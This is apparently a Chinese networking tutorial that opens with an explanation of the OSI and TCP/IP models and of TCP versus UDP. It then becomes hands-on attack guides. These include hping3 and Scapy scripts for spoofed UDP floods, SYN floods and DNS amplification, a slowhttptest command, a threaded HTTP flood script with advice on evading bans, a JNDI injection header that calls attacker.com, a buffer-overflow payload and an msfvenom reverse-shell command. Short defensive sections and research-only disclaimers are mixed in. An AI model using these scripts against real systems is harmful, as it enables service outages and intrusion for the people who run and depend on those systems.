、网络通信模型的本质

网络通信模型是为了规范不同设备、不同网络之间的通信流程,将复杂的网络通信功
能拆分为分层递进的模块(层级),每一层仅完成特定的核心功能,通过层间接口协
作实现完整通信
二、OSI 七层参考模型(理论标准)

OSI模型,全称开放系统互联参考模型,由国际标准化组织提出。他是一个概念性框架,用于将网络通信过程分解为更小,更简单的七层。

七层结构从下到上为:物理层,数据链路层,网络层,传输层,会话层,表示层,应用层。               

层级 名称 功能描述 典型协议/设备 数据单位
第7层 应用层(Application) 直接为用户应用提供网络服务接口,如文件传输、电子邮件等。 HTTP、FTP、SMTP、DNS 数据(Data)
第6层 表示层(Presentation) 数据格式转换(加密/解密)、编码/解码,确保不同系统间的数据兼容性。 SSL/TLS、JPEG、ASCII 数据(Data)
第5层 会话层(Session) 建立、管理和终止会话连接,控制对话的同步与检查点恢复。 NetBIOS、RPC 数据(Data)
第4层 传输层(Transport) 提供端到端的可靠或不可靠数据传输(流量控制、错误校验、分段/重组)。 TCP、UDP 段(Segment)
第3层 网络层(Network) 通过逻辑寻址(IP地址)和路由选择实现不同网络间的数据包传输。 IP、ICMP、路由器 包(Packet)
第2层 数据链路层(Data Link) 将数据封装成帧,通过物理地址(MAC)在局域网内传输,提供错误检测和流量控制。 Ethernet、PPP、交换机 帧(Frame)
第1层 物理层(Physical) 定义电气、机械和时序接口标准,负责比特流在物理介质上的透明传输。 RS-232、光纤、集线器 比特(Bit)

关键特性补充

  • 封装与解封装:数据从上到下逐层添加头部(尾部)信息,接收端反向移除。
  • 设备分布:高层(应用层)多为软件协议,低层(物理层)多为硬件设备。
  • TCP/IP对比:实际应用中,TCP/IP模型将OSI的7层简化为4层(应用层、传输层、网络层、网络接口层)。

 TCP/IP模型的基本概念

TCP/IP模型是互联网通信的基础架构,由四层组成:网络接口层、网际层、传输层和应用层。与OSI七层模型不同,TCP/IP模型更注重实际协议的实现,简化了分层逻辑。    

TCP/IP 协议栈结构表格

层级 协议示例 功能描述 数据单元
应用层 HTTP, FTP, DNS, SMTP 提供用户接口,支持应用程序网络通信(如网页浏览、文件传输、域名解析等)。 消息/数据流
传输层 TCP, UDP 确保端到端通信,提供可靠性(TCP)或低延迟(UDP)传输。 段(TCP)/数据报(UDP)
网络层 IP, ICMP, ARP 处理数据包路由和寻址,跨网络传输数据包(如IP地址分配、路径选择)。 数据包/分组
链路层 Ethernet, Wi-Fi, PPP 管理物理网络设备间的数据传输(如帧封装、MAC地址寻址、错误检测)。
物理层 光纤、双绞线、无线电波 定义物理介质特性(如电压、光信号),负责原始比特流的传输。 比特流

补充说明

应用层

  • 直接面向用户,协议如HTTP用于网页加载,FTP用于文件传输,DNS将域名转换为IP地址。

传输层

  • TCP通过三次握手建立可靠连接,UDP适用于实时应用(如视频通话)。
  • 端口号用于区分同一设备上的不同服务。

网络层

  • IP协议(IPv4/IPv6)负责逻辑寻址和路由选择。
  • ICMP用于网络诊断(如Ping),ARP将IP地址映射为MAC地址。

链路层与物理层

  • 链路层通过MAC地址识别本地设备,物理层处理信号转换(如电信号到光信号)。
  • 典型技术:以太网(有线)、802.11(无线)。

OSI与TCP/IP的本质区别

模型分层结构不同
OSI模型严格分为七层(物理层、数据链路层、网络层、传输层、会话层、表示层、应用层),强调理论上的分层逻辑。TCP/IP模型简化为核心四层(网络接口层、网际层、传输层、应用层),更注重实际应用,例如将会话层、表示层功能合并到应用层。

协议与标准的独立性
OSI模型由国际标准化组织(ISO)设计,作为通用参考框架,但未强制绑定具体协议。TCP/IP模型直接对应实际协议(如IP、TCP、HTTP等),由互联网工程任务组(IETF)推动,与互联网发展紧密结合。

设计目标差异
OSI追求普适性和严格分层,适用于各类网络通信场景的理论指导。TCP/IP以解决异构网络互联为目标,强调灵活性和效率,例如通过IP协议实现跨网络路由。


OSI与TCP/IP的核心联系

分层思想的一致性
两者均采用分层架构,将复杂通信过程分解为功能模块。例如,传输层均提供端到端可靠性保障(OSI的TP协议与TCP/IP的TCP协议对应)。

功能层的映射关系
TCP/IP的应用层覆盖了OSI的应用层、表示层和会话层功能;网络接口层对应OSI的物理层与数据链路层;网际层与网络层(OSI)均处理路由和寻址。

协同推动网络标准化
OSI的理论框架为协议设计提供参考,而TCP/IP的实践验证反哺了分层理论的优化。现代网络常以TCP/IP协议栈为基础,同时借鉴OSI的术语和调试方法(如分层排查故障)。

三、传输层双核心:TCP 与 UDP 协议

TCP(传输控制协议)和 UDP(用户数据报协议)是 TCP/IP 模型传输层的两大核心协议,分别对应 “可靠传输” 和 “快速传输” 两种核心需求,无绝对优劣,需按需选择。

3.1 TCP 协议:可靠的面向连接协议

核心特点
  • 面向连接:通信前必须通过 “三次握手” 建立连接,通信结束后通过 “四次挥手” 释放连接,流程严谨;
  • 可靠传输:通过五大机制保证数据无丢失、无重复、按序到达:
    1. 序列号:给每个数据段编号,确保接收端按序重组;
    1. 确认应答(ACK):接收端收到数据后回复确认,发送端未收到确认则重传;
    1. 重传机制:超时未收到确认或检测到丢包,自动重传数据;
    1. 流量控制:通过滑动窗口机制,避免发送端发送过快导致接收端缓冲区溢出;
    1. 拥塞控制:检测网络拥塞时,降低发送速率,避免网络瘫痪;
  • 缺点:传输效率低、延迟高(连接建立、确认应答等机制增加了开销)。
关键机制:三次握手与四次挥手
三次握手(建立连接)
  1. 客户端发送「同步报文(SYN)」:请求建立连接,告知服务器自己的初始序列号;
  1. 服务器回复「同步 + 确认报文(SYN+ACK)」:同意建立连接,告知客户端自己的初始序列号,并确认收到客户端的 SYN;
  1. 客户端回复「确认报文(ACK)」:确认收到服务器的 SYN+ACK,连接正式建立。

为什么需要三次握手?核心是确认双方的发送和接收能力均正常,避免 “失效的连接请求报文” 被服务器接收后建立无效连接。

四次挥手(释放连接)
  1. 客户端发送「结束报文(FIN)」:请求释放连接,告知服务器自己已无数据要发送;
  1. 服务器回复「确认报文(ACK)」:确认收到 FIN,但可能还有未传输完的数据,需继续发送;
  1. 服务器发送「结束报文(FIN)」:服务器数据传输完毕,请求释放连接;
  1. 客户端回复「确认报文(ACK)」:确认收到 FIN,等待超时(确保服务器收到 ACK)后释放连接。

为什么需要四次挥手?核心是TCP 是全双工通信,双方需分别告知对方 “我已无数据要发送”,服务器的 ACK 和 FIN 不能合并(需等待数据传输完成)。

适用场景

对可靠性要求高、可接受延迟的场景:

  • 网页访问(HTTP/HTTPS)、文件传输(FTP)、邮件发送(SMTP)、数据库连接(MySQL)、即时通讯(微信文字消息)。

3.2 UDP 协议:快速的无连接协议

核心特点
  • 无连接:通信前无需建立连接,直接发送数据;通信结束后无需释放连接,流程简单;
  • 不可靠传输:无序列号、无确认应答、无重传机制,数据可能丢失、重复、乱序到达;
  • 优点:传输效率高、延迟低、开销小(无需连接建立、确认等额外机制)。
适用场景

对实时性要求高、可容忍少量数据丢失的场景:

  • 视频直播、语音通话(如微信电话)、网络游戏、DNS 域名解析、物联网设备数据上报。

3.3 TCP 与 UDP 核心差异对比表

对比维度

TCP(传输控制协议)

UDP(用户数据报协议)

连接方式

面向连接(三次握手建立)

无连接(直接发送数据)

传输可靠性

可靠(无丢失、无重复、按序)

不可靠(可能丢失、乱序)

传输效率

低(开销大、延迟高)

高(开销小、延迟低)

核心机制

三次握手、四次挥手、序列号、确认应答、流量控制、拥塞控制

无额外机制,仅封装端口号和数据

数据大小限制

无(通过分段传输)

有限制(单次传输数据量不能超过 MTU,通常为 1500 字节)

典型应用

网页、文件传输、邮件、数据库

视频直播、语音通话、游戏、DNS

核心知识点关联梳理
1. 模型与协议的关联:TCP/IP 模型是实际应用的核心框架,TCP/UDP 属于传输层
协议,IPICMP 属于网络层协议,HTTPDNS 属于应用层协议,共同构成网络
通信的完整体系;
2. 数据传输串联:应用层生成数据 传输层添加 TCP/UDP 头部(端口号)
络层添加 IP 头部(IP 地址)网络接口层添加 MAC 头部(MAC 地址)物理介
质传输 接收端按反向层级解封装;
3. 协议选择逻辑:根据可靠性实时性需求选择 TCP/UDP——需要可靠传输选
TCP,需要快速实时选 UDP

常见DDoS攻击类型及原理

UDP洪水攻击
利用UDP协议无连接的特性,向目标服务器发送大量伪造源IP的UDP数据包。由于服务器需为每个包分配资源并尝试响应,导致资源耗尽。典型攻击包括DNS放大攻击,通过伪造DNS查询请求,利用开放DNS服务器将响应流量放大数倍。

UDP攻击概述

UDP攻击是一种利用用户数据报协议(UDP)无连接特性的网络攻击方式,常见类型包括UDP洪水攻击(UDP Flood)和反射放大攻击。以下内容仅用于安全研究,严禁非法使用。


UDP洪水攻击(UDP Flood)

攻击者向目标主机发送大量UDP数据包,耗尽目标带宽或系统资源。

实现步骤 使用工具如hping3伪造源IP发送UDP包至目标端口:

hping3 --udp --flood --rand-source -p <目标端口> <目标IP>

参数说明:

  • --udp:指定UDP协议。
  • --flood:高速发送数据包。
  • --rand-source:伪造随机源IP。
  • -p:指定目标端口(如53、123等常用端口)。

UDP反射放大攻击

利用中间服务器(如DNS、NTP服务器)将小请求转换为大响应,定向到目标IP。

典型反射服务

  • DNS反射:查询大型DNS记录(如ANY类型)。
  • NTP反射:滥用monlist命令(NTP服务器返回最近客户端列表)。

操作示例 使用scapy构造DNS查询包:

from scapy.all import *
packet = IP(dst="开放DNS服务器IP", src="伪造目标IP") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="大型域名", qtype="ANY"))
send(packet, loop=1)


防御措施

  1. 流量过滤:部署防火墙限制异常UDP流量,如突发高频小包。
  2. 关闭无用服务:禁用非必要的UDP端口(如NTP、SNMP)。
  3. 启用速率限制:在网络设备上配置UDP包速率阈值。
  4. 使用云防护:接入DDoS防护服务(如Cloudflare、AWS Shield)。
 

SYN洪水攻击
基于TCP三次握手缺陷,攻击者发送大量SYN包但不完成握手。服务器维护半开连接消耗资源,导致正常连接被拒绝。伪造源IP使响应无法到达真实客户端,加剧资源占用。

syn攻击的基本概念

syn攻击是一种利用TCP协议三次握手过程中的漏洞发起的拒绝服务攻击(DoS)。攻击者通过发送大量伪造源IP地址的SYN包,耗尽服务器资源,导致合法用户无法建立连接。

攻击准备阶段

确保拥有合适的工具和环境。常见的工具包括hping3、Scapy等,这些工具可以构造和发送自定义的TCP包。需要在Linux环境下运行这些工具,因为它们通常依赖底层网络库。

安装必要的工具。例如,在基于Debian的系统上,可以通过以下命令安装hping3:

sudo apt-get install hping3

构造syn包

使用hping3发送syn包。以下命令会向目标IP(假设为192.168.1.1)的80端口发送大量syn包:

hping3 -S -p 80 --flood --rand-source 192.168.1.1

参数说明:

  • -S:表示发送syn包。
  • -p 80:指定目标端口为80。
  • --flood:高速发送数据包,不等待回复。
  • --rand-source:随机化源IP地址,增加追踪难度。

使用Scapy构造更复杂的syn包

Scapy是一个强大的Python库,可以构造更灵活的网络包。以下是一个Python脚本示例:

from scapy.all import *
import random

target_ip = "192.168.1.1"
target_port = 80

while True:
    src_ip = f"{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}"
    packet = IP(src=src_ip, dst=target_ip) / TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S")
    send(packet, verbose=0)

攻击效果验证

通过监控目标服务器的资源使用情况验证攻击是否成功。可以使用工具如netstatss查看服务器的连接状态:

netstat -anp | grep SYN_RECV

如果大量连接处于SYN_RECV状态,说明攻击正在生效。

防御措施

目标服务器可以采取以下措施防御syn攻击:

  • 启用SYN Cookies:通过修改内核参数启用SYN Cookies,防止半开连接耗尽资源。
echo 1 > /proc/sys/net/ipv4/tcp_syncookies

  • 限制SYN速率:使用防火墙规则限制单位时间内接收的SYN包数量。
iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP

 

HTTP洪水攻击
模拟大量合法HTTP请求(GET/POST)耗尽服务器资源。分为慢速攻击(如Slowloris)保持连接长时间占用,或高速请求压垮服务器带宽/CPU。这类攻击往往使用僵尸网络模拟真实用户行为。

HTTP攻击实操流程

HTTP攻击涉及多种技术手段,以下为常见攻击类型的实操流程(仅限安全研究用途,未经授权使用属违法行为):


SYN洪水攻击

利用TCP三次握手缺陷发送大量伪造源IP的SYN包,耗尽服务器资源。

from scapy.all import *
target_ip = "192.168.1.100"
target_port = 80
packet = IP(dst=target_ip)/TCP(dport=target_port, flags="S")
send(packet, loop=1, verbose=0)

关键参数:

  • 伪造随机源IP增加攻击效果
  • 调整发包速率避免被流量清洗设备检测

HTTP慢速攻击

保持长时间连接消耗服务器连接池:

# 使用slowhttptest工具
slowhttptest -c 1000 -H -g -o slowhttp -i 10 -r 200 -u http://target.com -x 24 -p 3

参数说明:

  • -c 1000:并发连接数
  • -i 10:数据发送间隔10秒
  • -x 24:维持连接24小时

CC攻击模拟

高频请求消耗服务器资源:

import requests
import threading

def attack():
    while True:
        requests.get("http://target.com/login")

for _ in range(500):
    threading.Thread(target=attack).start()

优化方向:

  • 使用代理IP池规避封禁
  • 模拟正常User-Agent头
  • 随机请求路径增加迷惑性

HTTP头注入

通过畸形头导致服务异常:

GET / HTTP/1.1
Host: target.com
X-Malicious-Header: ${jndi:ldap://attacker.com/exp}
Connection: keep-alive

常见注入点:

  • Host头超长值
  • 特殊字符(CRLF)注入
  • 恶意JNDI查询

防御建议

  1. 部署WAF过滤异常流量
  2. 限制单IP连接速率
  3. 启用TCP SYN Cookie防护
  4. 定期更新服务器补丁

LCMP攻击概述

LCMP(Local Code Manipulation)攻击通常指通过本地代码操纵实现权限提升或系统控制,可能涉及缓冲区溢出、DLL劫持等技术。以下为常见实操流程框架,需在合法授权环境下进行。


环境准备

  • 目标系统分析:确认目标系统架构(x86/x64)、操作系统版本及补丁状态,识别潜在漏洞点。
  • 工具集:调试工具(OllyDbg、x64dbg)、反编译工具(IDA Pro)、漏洞利用框架(Metasploit)。
  • 代码编译环境:安装GCC或Visual Studio,用于生成恶意载荷。

漏洞利用步骤

定位脆弱函数
通过逆向分析目标程序,寻找未检查输入长度的函数(如strcpysprintf)。使用调试工具动态跟踪内存分配,观察栈/堆溢出可能性。

构造恶意输入
编写覆盖返回地址的Payload,需考虑字节对齐和地址随机化(ASLR)绕过。例如:

char payload[256];  
memset(payload, 0x90, 128);  // NOP sled  
memcpy(payload + 128, shellcode, sizeof(shellcode));  
memcpy(payload + 200, "\xef\xbe\xad\xde", 4);  // 覆盖返回地址  

载荷注入
通过文件输入、网络套接字或命令行参数将Payload传递给目标程序。若为DLL劫持,需将恶意DLL置于搜索路径优先级高于合法DLL的位置。


权限维持

  • Shellcode设计:实现反向连接或添加管理员账户。Metasploit的msfvenom可生成编码后的Shellcode:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c  
    

  • 持久化:通过注册表启动项或计划任务维持访问权限。

注意事项

  • 仅限授权测试,未经许可的操作违反法律。
  • 实际环境中需绕过防病毒软件和内存保护机制(如DEP)。
  • 测试前在虚拟环境中验证Payload稳定性,避免系统崩溃。

NTP放大攻击

网络时间协议(NTP)攻击是一种滥用NTP服务器资源的攻击方式,可能导致服务器瘫痪或网络延迟。以下是相关技术细节和防御措施,仅供研究防御用途:

NTP放大攻击原理

攻击者伪造受害者IP向NTP服务器发送MON_GETLIST等请求,由于响应包远大于请求包(放大倍数可达556倍),形成DDoS攻击。NTP协议设计缺陷和开放服务器是主要漏洞点。

攻击实施条件

存在开放递归查询的NTP服务器(默认端口123/UDP) 获取可被利用的NTP监控命令(如monlist) 具备伪造源IP地址的能力

典型攻击流程

伪造受害者IP向NTP服务器发送monlist请求 NTP服务器将响应发送至受害者 利用多个NTP服务器同时攻击可形成大规模流量

防御措施

禁用NTP服务器的monlist功能(ntp.conf添加disable monitor) 配置NTP服务器访问控制(restrict default nomodify notrap noquery) 部署网络入口过滤(BCP38/BCP84) 启用NTP认证机制 使用NTPv4版本(默认禁用monlist)

检测方法

监控异常NTP流量(特别是123/UDP端口) 分析NTP服务器日志中的异常请求 部署流量分析工具检测放大攻击特征

防御原理与技术

流量清洗与过滤
部署专用设备识别异常流量特征,如SYN包速率阈值、UDP包大小异常。基于IP信誉库过滤已知恶意IP,或使用CAPTCHA验证真实用户。

速率限制与黑名单
对特定协议(如DNS/NTP)实施请求速率限制,自动封禁高频访问IP。结合机器学习分析流量模式,动态调整防护策略。

负载均衡与冗余
通过CDN分散流量压力,隐藏真实服务器IP。多数据中心部署避免单点失效,结合Anycast技术将攻击流量导向最近清洗节点。

协议加固配置
关闭不必要的UDP服务,调整TCP半开连接超时时间,禁用NTP monlist等危险命令。使用SYN Cookie技术防御SYN洪水。

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐